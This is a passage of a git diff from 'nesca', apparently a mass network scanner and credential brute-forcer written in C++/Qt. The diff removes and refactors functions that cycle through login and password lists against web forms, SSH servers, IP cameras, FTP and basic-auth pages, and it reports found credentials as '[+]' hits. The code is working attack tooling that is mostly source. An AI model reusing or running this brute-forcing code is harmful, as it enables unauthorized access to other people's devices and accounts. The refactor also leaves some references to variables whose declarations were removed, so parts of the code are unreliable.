QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); - ++passCounter; - - if(CSTR.lowerBuff != NULL) - { - if(strstri(CSTR.lowerBuff, "501 not implemented") != NULL) - { - stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 501 Not Implemented."); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - if(strstri(CSTR.lowerBuff, "404 not found") != NULL) - { - stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 404 Not Found."); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - if(strstri(CSTR.lowerBuff, "Access is Denied") == NULL - && strstri(CSTR.lowerBuff, "Location:") == NULL - && strstri(CSTR.lowerBuff, "Access forbidden") == NULL - && strstri(CSTR.lowerBuff, "Authentication required") == NULL - && strstri(CSTR.lowerBuff, "invalid") == NULL - && strstri(CSTR.lowerBuff, "error") == NULL - && strstri(CSTR.lowerBuff, "loginerr") == NULL - && strstri(CSTR.lowerBuff, "passerr") == NULL - && strstri(CSTR.lowerBuff, "passworderr") == NULL - && strstri(CSTR.lowerBuff, "location.href") == NULL - && strstri(CSTR.lowerBuff, "location.replace") == NULL - && strstri(CSTR.lowerBuff, "top.location") == NULL - && strstri(CSTR.lowerBuff, "error_status") == NULL - && strstri(CSTR.lowerBuff, "501 not implemented") == NULL - && strstri(CSTR.lowerBuff, "http-equiv=\"refresh\"") == NULL - && strstri(CSTR.lowerBuff, "http-equiv = \"refresh\"") == NULL - && strstri(CSTR.lowerBuff, "busy") == NULL - && strstri(CSTR.lowerBuff, "later") == NULL - && strstri(CSTR.lowerBuff, "verification failed") == NULL - && strstri(CSTR.lowerBuff, "403 Forbidden") == NULL - && strstri(CSTR.lowerBuff, formVal) == NULL - - ) - { - if(i == 0) - { - ZeroMemory(request, sizeof(request)); - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - char pass[256] = {0}; - - ZeroMemory(pass, sizeof(pass)); - strcpy(pass, ip); - strcat(pass, " - Web Form password found: "); - strcat(pass, wfLoginLst[i]); - strcat(pass, ":"); - strcat(pass, wfPassLst[j]); - isActive = 0; - - stt->doEmition_BAGreenData("[+] " + QString(pass)); - - strcpy(lps.login, wfLoginLst[i]); - strcpy(lps.pass, wfPassLst[j]); - return lps; - }; - } - else - { - ZeroMemory(request, sizeof(request)); - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - - if(i == 0) ++i; - ZeroMemory(request, sizeof(request)); - }; - firstCycle = 1; - }; - } - else if(strstri(methodVal, "post") != NULL) - { - int passCounter = 1; - int firstCycle = 0; - for(int i = 0; i < MaxWFLogin; ++i) - { - if(globalScanFlag == false) break; - for(int j = firstCycle; j < MaxWFPass; ++j) - { - if(globalScanFlag == false) break; - CSTR.lowerBuff = NULL; - CSTR.size = 0; - - strcpy(argData, userVal); - strcat(argData, "="); - strcat(argData, wfLoginLst[i]); - strcat(argData, "&"); - strcat(argData, passVal); - strcat(argData, "="); - strcat(argData, wfPassLst[j]); - - strcpy(request, "POST "); - strcat(request, actionVal); - strcat(request, " HTTP/1.1\r\n"); - strcat(request, "Host: "); - strcat(request, ip); - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - if(cookieLen != 0) - { - strcat(request, "\r\nCookie: "); - strcat(request, cookie); - }; - strcat(request, "\r\nContent-type: application/x-www-form-urlencoded\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\nContent-Length: "); - sprintf(b, "%d", strlen(argData)); - strcat(request, b); - strcat(request, "\r\n\r\n"); - - strcat(request, argData); - - if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); - ++passCounter; - - if(port == 443) con._EstablishSSLConnection(ip, port, request, &CSTR); - else con._EstablishConnection(ip, port, request, &CSTR); - - if(CSTR.lowerBuff != NULL) - { - if(strstri(CSTR.lowerBuff, "501 not implemented") != NULL) - { - stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 501 Not Implemented."); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - if(strstri(CSTR.lowerBuff, "404 not found") != NULL) - { - stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 404 Not Found."); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - if(strstri(CSTR.lowerBuff, "Access is Denied") == NULL - && strstri(CSTR.lowerBuff, "Location:") == NULL - && strstri(CSTR.lowerBuff, "Access forbidden") == NULL - && strstri(CSTR.lowerBuff, "Authentication required") == NULL - && strstri(CSTR.lowerBuff, "invalid") == NULL - && strstri(CSTR.lowerBuff, "error") == NULL - && strstri(CSTR.lowerBuff, "loginerr") == NULL - && strstri(CSTR.lowerBuff, "passerr") == NULL - && strstri(CSTR.lowerBuff, "passworderr") == NULL - && strstri(CSTR.lowerBuff, "location.href") == NULL - && strstri(CSTR.lowerBuff, "location.replace") == NULL - && strstri(CSTR.lowerBuff, "top.location") == NULL - && strstri(CSTR.lowerBuff, "error_status") == NULL - && strstri(CSTR.lowerBuff, "http-equiv=\"refresh\"") == NULL - && strstri(CSTR.lowerBuff, "http-equiv = \"refresh\"") == NULL - && strstri(CSTR.lowerBuff, "busy") == NULL - && strstri(CSTR.lowerBuff, "later") == NULL - && strstri(CSTR.lowerBuff, "verification failed") == NULL - && strstri(CSTR.lowerBuff, "403 Forbidden") == NULL - && strstri(CSTR.lowerBuff, formVal) == NULL - ) - { - if(i == 0) - { - ZeroMemory(request, sizeof(request)); - ZeroMemory(argData, sizeof(argData)); - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - char pass[256] = {0}; - - ZeroMemory(pass, sizeof(pass)); - strcpy(pass, ip); - strcat(pass, " - Web Form password found: "); - strcat(pass, wfLoginLst[i]); - strcat(pass, ":"); - strcat(pass, wfPassLst[j]); - isActive = 0; - - stt->doEmition_BAGreenData("[+] " + QString(pass)); - - strcpy(lps.login, wfLoginLst[i]); - strcpy(lps.pass, wfPassLst[j]); - return lps; - }; - } - else - { - ZeroMemory(request, sizeof(request)); - ZeroMemory(argData, sizeof(argData)); - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - if(i == 0) ++i; - ZeroMemory(request, sizeof(request)); - ZeroMemory(argData, sizeof(argData)); - }; - firstCycle = 1; - }; - } - else - { - stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: Unknown method."); - }; - - ZeroMemory(request, sizeof(request)); - ZeroMemory(argData, sizeof(argData)); - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; -} - -lopaStr Connector::_WFLobby(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) -{ - while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); - - ++WF; - - BConInc(); - lopaStr res = _WFBrut(cookie, ip, port, methodVal, actionVal, userVal, passVal, formVal); - BConDec(); - - return res; -} - -#pragma region SSH -int _sshConnect(char *user, char *pass, char *host, int port) -{ - char hostStr[128] = {0}; - ZeroMemory(hostStr, sizeof(hostStr)); - strcpy(hostStr, user); - strcat(hostStr, "@"); - strcat(hostStr, host); - - ssh_session my_ssh_session = ssh_new(); - if (my_ssh_session == NULL) - { - ssh_free(my_ssh_session); - return -1; - }; - - ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, hostStr); - ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &port); - //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity); - //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY_STR, &verbosity); - //ssh_options_set(my_ssh_session, SSH_OPTIONS_STRICTHOSTKEYCHECK, 0); - int sshTimeout = gTimeOut + 1; - ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout); - - int rc = ssh_connect(my_ssh_session); - - if (rc != SSH_OK) - { - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); - ++offlines; - return -2; - } - else - { - rc = ssh_userauth_password(my_ssh_session, NULL, pass); - if (rc != SSH_AUTH_SUCCESS) - { - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); - return -1; - }; - }; - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); - ++ssh; - return 0; -} - -char *_get_ssh_banner(char *ip, int port) -{ - Connector con; - conSTR CSTR; - char recvBuff[256] = {0}; - con._EstablishConnection(ip, port, "", &CSTR); - if(CSTR.lowerBuff != NULL && CSTR.size != 0) - { - strncpy(recvBuff, CSTR.lowerBuff, CSTR.size < 256 ? CSTR.size : 256); - }; - if(CSTR.lowerBuff != NULL) - { - delete []CSTR.lowerBuff; - CSTR.lowerBuff = NULL; - }; - return recvBuff; -} - -int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, std::string *buffer, char *banner) -{ - int res = -1; - if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host) + ":" + QString::number(port)); - res = _sshConnect(user, pass, host, port); - if(res == 0) - { - stt->doEmition_BAGreenData("[+] SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host)); - buffer->append(userPass); - buffer->append("@"); - buffer->append(host); - buffer->append("|+|"); - buffer->append(banner); - return 0; - }; - return res; -} - -int _EstablishSSHConnection(char *host, int port, std::string *buffer, char *banner) -{ - char login[32] = {0}; - char pass[32] = {0}; - char temp[64] = {0}; - isActive = 1; - BConInc(); - int sz = 0; - char *ptr1 = 0; - int res = -1; - for(int i = 0; i < MaxSSHPass; ++i) - { - if(globalScanFlag == false) break; - strcpy(temp, sshlpLst[i]); - ptr1 = strstr(temp, ":"); - sz = ptr1 - temp; - strncpy(login, temp, sz); - strcpy(pass, ptr1 + 1); - res = check_ssh_pass(login, pass, temp, host, port, buffer, banner); - ZeroMemory(login, sizeof(login)); - ZeroMemory(pass, sizeof(pass)); - ZeroMemory(temp, sizeof(temp)); - if(res == 0) - { - if(i == 0) return -2; //Failhit - BConDec(); - isActive = 0; - return 0; - } - else if(res == -2) - { - BConDec(); - isActive = 0; - return -2; - }; - Sleep(500); - }; - BConDec(); - isActive = 0; - return -1; -} - int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int passCounter, char *type, std::vector negVector) { char recvBuff[256] = {0}; @@ -2563,7 +1740,7 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) return lps; } -lopaStr Connector::_IPCameraBLobby(char *ip, int port, char *SPEC) +lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); @@ -2661,88 +1838,44 @@ int _pingMyTarget(char *ip) } #endif -QString strIP; -QString strPort; -int Connector::_SSHLobby(char *ip, int port, std::string *buffer) -{ - char banner[256] = {0}; - strncpy(banner, _get_ssh_banner(ip, port), 256); - if(strlen(banner) > 0) - { - return _EstablishSSHConnection(ip, port, buffer, banner); - }; - return -1; -} -static size_t nWriteCallback(void *contents, size_t size, size_t nmemb, void *userp) -{ - ((std::string*)userp)->append((char*)contents, size * nmemb); - return size * nmemb; -} -int nConnect(char *ip, int port, std::string *buffer){ - CURL *curl = curl_easy_init(); - if (curl) - { - curl_easy_setopt(curl, CURLOPT_URL, ip); - curl_easy_setopt(curl, CURLOPT_PORT, port); - curl_easy_setopt(curl, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0"); - curl_easy_setopt(curl, CURLOPT_HEADER, 1L); - curl_easy_setopt(curl, CURLOPT_AUTOREFERER, 1L); - curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); - curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); - curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, nWriteCallback); - curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer); - curl_easy_setopt(curl, CURLOPT_PROXY, "cache.fors.ru"); - curl_easy_setopt(curl, CURLOPT_PROXYPORT, 3128); - curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); - curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut); - curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut); - curl_easy_perform(curl); - curl_easy_cleanup(curl); - } else { - stt->doEmitionRedFoundData("Curl error."); - return -1; - }; - return buffer->size(); -} +//int Connector::_ConnectToPort(char *ip, int port, char *hl) +//{ +// if(gPingNScan) +// { +// if(_pingMyTarget(ip) == 0) +// { +// return -2; +// }; +// }; -int Connector::_ConnectToPort(char *ip, int port, char *hl) -{ - if(gPingNScan) - { - if(_pingMyTarget(ip) == 0) - { - return -2; - }; - }; +// std::string buffer; +// int size = 0; - std::string buffer = ""; - int size = 0; +// if(port == 22) size = _SSHLobby(ip, port, &buffer); +// else size = Connector::nConnect(ip, port, &buffer); - if(port == 22) size = _SSHLobby(ip, port, &buffer); - else size = nConnect(ip, port, &buffer); +// if(size > 0) +// { +// ++Alive; +// ++found; +// stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); - if(size > 0) - { - ++Alive; - ++found; - stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); +// conSTR CSTR; +// CSTR.lowerBuff = new char[size + 1]; +// CSTR.size = size; +// memcpy(CSTR.lowerBuff, buffer.c_str(), size); +// memset(CSTR.lowerBuff + size, '\0', 1); - conSTR CSTR; - CSTR.lowerBuff = new char[size + 1]; - CSTR.size = size; - memcpy(CSTR.lowerBuff, buffer.c_str(), size); - memset(CSTR.lowerBuff + size, '\0', 1); +// Lexems lx; +// lx._filler(port, (char *)buffer.c_str(), ip, size, &lx, hl); - Lexems lx; - lx._filler(port, (char *)buffer.c_str(), ip, size, &lx, hl); +// delete []CSTR.lowerBuff; +// CSTR.lowerBuff = NULL; +// }; - delete []CSTR.lowerBuff; - CSTR.lowerBuff = NULL; - }; - - return 0; -} +// return 0; +//} diff --git a/externData.h b/externData.h index 0d235fe..5bd11a2 100644 --- a/externData.h +++ b/externData.h @@ -1,3 +1,7 @@ +#ifndef EXTERNDATA_H +#define EXTERNDATA_H + +#include #define RECV_MAX_SIZE 350000 #define REQUEST_MAX_SIZE 4096 #define PORTSET "80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21" @@ -25,7 +29,9 @@ extern int found, indexIP, gMode, GlobalNegativeSize, isActive, gMaxBrutingThreads, gTimeOut, PieAnomC1, PieSusp, PieBA, PieLowl, PieWF, PieSSH, gThreadDelay, AnomC1, Filt, Overl, Lowl, Alive, saved, - Susp, WF, offlines, ssh, globalPinger, gPingTimeout, nickFlag, offlineFlag; + Susp, +WF, +offlines, ssh, globalPinger, gPingTimeout, nickFlag, offlineFlag; extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[32], ircServer[32], ircPort[32], ircProxy[64], ircProxyPort[8], ircNick[32], trcPort[32], trcSrvPortLine[32], saveStartIP[128], saveEndIP[128], @@ -36,3 +42,5 @@ struct pl{ int loginCounter; int passCounter; }; + +#endif // EXTERNDATA diff --git a/externFunctions.h b/externFunctions.h index d3cea88..d0bb5ba 100644 --- a/externFunctions.h +++ b/externFunctions.h @@ -15,4 +15,4 @@ extern void nCleanup(); extern void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest); extern void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest); extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage); -extern int nConnect(char *ip, int port, std::string *buffer); +//extern int nConnect(char *ip, int port, std::string *buffer); diff --git a/finder.cpp b/finder.cpp index 9ac7018..6e510e5 100644 --- a/finder.cpp +++ b/finder.cpp @@ -3,6 +3,8 @@ #include "mainResources.h" #include "externFunctions.h" #include "externData.h" +#include "WebformWorker.h" +#include "Connector.h" char* strstri(const char *_Str, const char *_SubStr) { @@ -1279,9 +1281,9 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path if(inputVec.size() > 0) { if(strlen(userVal) != 0 && strlen(passVal) != 0) - { - Connector con; - lopaStr lps = con._WFLobby(cookie, ip, port, methodVal, actionVal, userVal, passVal, formVal); + { + WFClass WFC; + lopaStr lps = WFC._WFBrute(ip, port, methodVal, actionVal, userVal, passVal, formVal); if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) { @@ -1309,8 +1311,8 @@ void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, ZeroMemory(lps.other, sizeof(lps.other)); char tport[32] = {0}; sprintf(tport, ":%d", port); - Connector con; - lps = con._IPCameraBLobby(ip, port, SPEC); + + lps = _IPCameraBLobby(ip, port, SPEC); if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) { @@ -1330,10 +1332,9 @@ void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int char temp[64] = {0}; char tport[32] = {0}; sprintf(tport, ":%d", port); - Connector con; - if(strcmp(comment, "[DIGEST]") == 0) lps = con._BALobby(cookie, ip, port, path, "[DIGEST]", data); - else lps = con._BALobby(cookie, ip, port, path, "[NORMAL]", ""); + if(strcmp(comment, "[DIGEST]") == 0) lps = _BALobby(cookie, ip, port, path, "[DIGEST]", data); + else lps = _BALobby(cookie, ip, port, path, "[NORMAL]", ""); if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) { @@ -1525,10 +1526,9 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * { if( strstr(buffcpy, "[IGNR_ADDR]") != NULL ) return -1; if( strstr(buffcpy, "SSH-2.0-OpenSSH") != NULL || strstr(buffcpy, "SSH-2.0-mod_sftp") != NULL) - { - Connector con; + { std::string sshBuff; - int res = con._SSHLobby(ip, p, &sshBuff); + int res = Connector::_SSHLobby(ip, p, &sshBuff); if(res != -1 && res != -2) { _saveSSH(ip, p, recd, (char*)sshBuff.c_str()); @@ -1598,8 +1598,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * if(flag == -1 || flag == 6 || strstr(finalstr, "[IGNR_ADDR]") != NULL) return -1; if(flag == 16) - { - Connector con; + { isActive = 1; char log[2048] = {0}; @@ -1614,7 +1613,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * // strcat(log, "; Received: "); // strncat(log, std::to_string(recd).c_str(), 100); - lps = con._FTPLobby(ip, p, &ps); + lps = _FTPLobby(ip, p, &ps); if(strstr(lps.other, "ROUTER") != NULL) { @@ -1879,12 +1878,11 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * else if(flag == 15) //For HFS { char temp[64] = {0}; - char log[512] = {0}; - Connector con; + char log[512] = {0}; isActive = 1; ++AnomC1; - lps = con._BALobby(ps.cookie, ip, p, "/~login", "[NORMAL]", ""); + lps = _BALobby(ps.cookie, ip, p, "/~login", "[NORMAL]", ""); sprintf(log, "[HFS]:%s :: %s:%s T: %s Pass: %s:%s", hl, ip, port, ip, port, finalstr, lps.login, lps.pass); @@ -1948,7 +1946,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P return 0; }; - Connector con; char tempIP[MAX_ADDR_LEN] = {0}; strcpy(tempIP, ip); int tempPort = port; @@ -2023,13 +2020,12 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P }; strcat(mes, rbuff4); - conSTR cstr; - cstr.size = 0; - cstr.lowerBuff = NULL; - if(con._EstablishSSLConnection(tempIP, tempPort, mes, &cstr) > -1) + std::string buffer; + int cSz = Connector::nConnect(tempIP, tempPort, buffer); + if(cSz > -1) { - strncpy(buff, cstr.lowerBuff, (cstr.size < 65535 ? cstr.size : 65535)); - strcpy(ps->codepage, GetCodePage(cstr.lowerBuff)); + strncpy(buff, buffer.c_str(), (cSz < 65535 ? cSz : 65535)); + strcpy(ps->codepage, GetCodePage(buff)); ls->flag = ContentFilter(cstr.lowerBuff, tempPort, tempIP, ps->codepage); ps->flag = ls->flag; @@ -2038,22 +2034,19 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P { ps->flag = -1; strcpy(ps->headr, "[IGNR_ADDR]"); - strcpy(ps->path, tempPath); - delete []cstr.lowerBuff; + strcpy(ps->path, tempPath); return -1; }; if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) { - strcat(ps->headr, GetTitle(cstr.lowerBuff)); + strcat(ps->headr, GetTitle(buff)); ps->flag = ls->flag; strcpy(ps->path, tempPath); ps->port = tempPort; strcpy(ps->ip, tempIP); - delete []cstr.lowerBuff; - return -2; }; if(ls->flag == 6) @@ -2062,20 +2055,20 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P ps->port = tempPort; return -2; }; + strcat(ps->headr, " -> "); - strcat(ps->headr, GetTitle(cstr.lowerBuff)); - if (ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff) == -1) + strcat(ps->headr, GetTitle(buff)); + if (ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff) == -1) { ps->flag = -1; strcpy(ps->headr, "[IGNR_ADDR]"); - strcpy(ps->path, tempPath); - delete[]cstr.lowerBuff; + strcpy(ps->path, tempPath); return -1; }; ps->port = tempPort; - if(strlen(cstr.lowerBuff) < 1) + if(strlen(buff) < 1) { ps->flag = 3; ls->flag = 3; @@ -2084,9 +2077,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P { ls->flag = 0; ps->flag = 0; - }; - - delete []cstr.lowerBuff; + }; } else { @@ -2165,12 +2156,11 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P }; strcat(mes, rbuff4); - conSTR cstr; - cstr.size = 0; - cstr.lowerBuff = NULL; - if(con._EstablishConnection(tempIP, tempPort, mes, &cstr) > -1) + std::string buffer; + int cSz = Connector::nConnect(tempIP, tempPort, buffer); + if(cSz > -1) { - strncpy(buff, cstr.lowerBuff, (cstr.size < 65535 ? cstr.size : 65535)); + strncpy(buff, cstr.lowerBuff, (cSz< 65535 ? cSz : 65535)); strcpy(ps->codepage, GetCodePage(cstr.lowerBuff)); ls->flag = ContentFilter(cstr.lowerBuff, tempPort, tempIP, ps->codepage); @@ -2180,8 +2170,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P { ps->flag = -1; strcpy(ps->headr, "[IGNR_ADDR]"); - strcpy(ps->path, tempPath); - delete []cstr.lowerBuff; + strcpy(ps->path, tempPath); return -1; }; @@ -2190,8 +2179,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P { strcat(ps->headr, GetTitle(cstr.lowerBuff)); ps->flag = ls->flag; - strcpy(ps->path, tempPath); - delete []cstr.lowerBuff; + strcpy(ps->path, tempPath); ps->port = tempPort; strcpy(ps->ip, tempIP); @@ -2209,14 +2197,13 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P { ps->flag = -1; strcpy(ps->headr, "[IGNR_ADDR]"); - strcpy(ps->path, tempPath); - delete[]cstr.lowerBuff; + strcpy(ps->path, tempPath); return -1; }; ps->port = tempPort; - if(strlen(cstr.lowerBuff) < 1) + if(strlen(buff) < 1) { ps->flag = 3; ls->flag = 3; @@ -2226,8 +2213,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P ls->flag = 0; ps->flag = 0; }; - - delete []cstr.lowerBuff; } else { diff --git a/mainResources.h b/mainResources.h index 36f63f2..ce13e7f 100644 --- a/mainResources.h +++ b/mainResources.h @@ -13,6 +13,7 @@ #else #include #include +#include #include #include #include @@ -99,8 +100,8 @@ struct PathStr{ }; struct lopaStr{ - char login[128]; - char pass[32]; + char login[128]; + char pass[32]; char other[128]; }; @@ -126,13 +127,19 @@ class Lexems iterationCount = 0; } - int _header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std::vector *lst, char *rBuff); + int _header(char *ip, + int port, + char str[], + Lexems *l, + PathStr *ps, + std::vector *lst, + char *rBuff); int _filler(int p, char *buffcpy, char* ipi, int recd, Lexems *lx, char *hl); int globalSearchNeg(const char *buffcpy, char *ip, int port); }; -class Connector +class Connector_old { public: int _Updater(); @@ -143,9 +150,13 @@ class Connector lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC); int _SSHLobby(char *ip, int port, std::string *buffer); - int _EstablishConnection(char *ip, int port, char *request, conSTR *cstr, int force = 0); - int _EstablishSSLConnection(char *ip, int port, char *request, conSTR *cstr); - void _Connect(void *s); + //int _EstablishConnection(char *ip, int port, char *request, conSTR *cstr, int force = 0); + //int _EstablishSSLConnection(char *ip, int port, char *request, conSTR *cstr); + void _Connect(void *s); int _ConnectToPort(char *ip, int port, char *hl); }; + +extern lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC); +extern lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data = NULL); +extern lopaStr _FTPLobby(char *ip, int port, PathStr *ps); diff --git a/msgcheckerthread.cpp b/msgcheckerthread.cpp index a9eb26b..eb4c9da 100644 --- a/msgcheckerthread.cpp +++ b/msgcheckerthread.cpp @@ -1,6 +1,8 @@ #include "msgcheckerthread.h" #include "externData.h" #include "mainResources.h" +#include +#include void MSGCheckerThread::doEmitionShowNewMsg(QString str) { @@ -9,31 +11,31 @@ void MSGCheckerThread::doEmitionShowNewMsg(QString str) void _getNewMsg() { - Connector con; - conSTR CSTR; - CSTR.lowerBuff = NULL; - CSTR.size = 0; - char request[256] = {0}; - strcpy(request, "GET /mailbox?key="); - strncat(request, trcPersKey, 32); - strcat(request, " HTTP/1.1\r\nHost: nesca.d3w.org\r\nX-Nescav3: True\r\n\r\n"); - con._EstablishConnection("nesca.d3w.org", 80, request, &CSTR, 1); + char request[256] = {0}; + sprintf(request, "http://nesca.d3w.org/mailbox?key=%s", trcPersKey); - char *ptr1 = NULL; - if(CSTR.lowerBuff != NULL) + std::string buffer; + std::vector headerVector {"X-Nescav3: True"}; + Connector::nConnect(request, 80, &buffer, NULL, &headerVector); + + char *ptr1 = NULL; + if(buffer.size() > 0) { - if(strstr(CSTR.lowerBuff, "\r\n\r\n") != NULL && strstr(CSTR.lowerBuff, "HTTP/1.1 404 Not Found") == NULL && strstr(CSTR.lowerBuff, "HTTP/1.1 502 Bad Gateway") == NULL && strstr(CSTR.lowerBuff, "HTTP/1.1 400 Bad Request") == NULL && strstr(CSTR.lowerBuff, "\r\n\r\nEmpty") == NULL) - { - ptr1 = strstr(CSTR.lowerBuff, "\r\n\r\n"); - if(strlen(ptr1 + 4) != 0) - { - mct->doEmitionShowNewMsg(QString(ptr1 + 4)); - }; - }; - delete []CSTR.lowerBuff; - CSTR.lowerBuff = NULL; + if(Utils::ci_find_substr(buffer, std::string("\r\n\r\n")) != -1 + && Utils::ci_find_substr(buffer, std::string("HTTP/1.1 404 Not Found")) == -1 + && Utils::ci_find_substr(buffer, std::string("HTTP/1.1 502 Bad Gateway")) == -1 + && Utils::ci_find_substr(buffer, std::string("HTTP/1.1 400 Bad Request")) == -1 + && Utils::ci_find_substr(buffer, std::string("\r\n\r\nEmpty")) == -1 + ) + { + ptr1 = strstr((char*)buffer.c_str(), "\r\n\r\n"); + if(strlen(ptr1 + 4) != 0) + { + mct->doEmitionShowNewMsg(QString(ptr1 + 4)); + }; + } }; -}; +} void MSGCheckerThread::run() { @@ -42,4 +44,4 @@ void MSGCheckerThread::run() Sleep(60000); _getNewMsg(); }; -}; +} diff --git a/nesca.pro b/nesca.pro index 60eff02..fa5a8ed 100644 --- a/nesca.pro +++ b/nesca.pro @@ -19,7 +19,6 @@ SOURCES +=\ base64.cpp \ CheckKey_Th.cpp \ CheckProxy_Th.cpp \ - connector.cpp \ DrawerTh_GridQoSScanner.cpp \ DrawerTh_HorNet.cpp \ DrawerTh_ME2Scanner.cpp \ @@ -35,7 +34,11 @@ SOURCES +=\ progressbardrawer.cpp \ STh.cpp \ vercheckerthread.cpp \ - finder.cpp + finder.cpp \ + Utils.cpp \ + WebformWorker.cpp \ + Connector.cpp \ + connector_old.cpp HEADERS += ActivityDrawerTh_HorNet.h \ @@ -59,7 +62,10 @@ HEADERS += ActivityDrawerTh_HorNet.h \ progressbardrawer.h \ resource.h \ STh.h \ - vercheckerthread.h + vercheckerthread.h \ + Utils.h \ + WebformWorker.h \ + Connector.h FORMS += nesca_3.ui diff --git a/nesca.pro.user b/nesca.pro.user index c56ece8..3139876 100644 --- a/nesca.pro.user +++ b/nesca.pro.user @@ -1,6 +1,6 @@ - + EnvironmentId diff --git a/nesca_3.cpp b/nesca_3.cpp index ad6d9de..a261655 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -3413,63 +3413,6 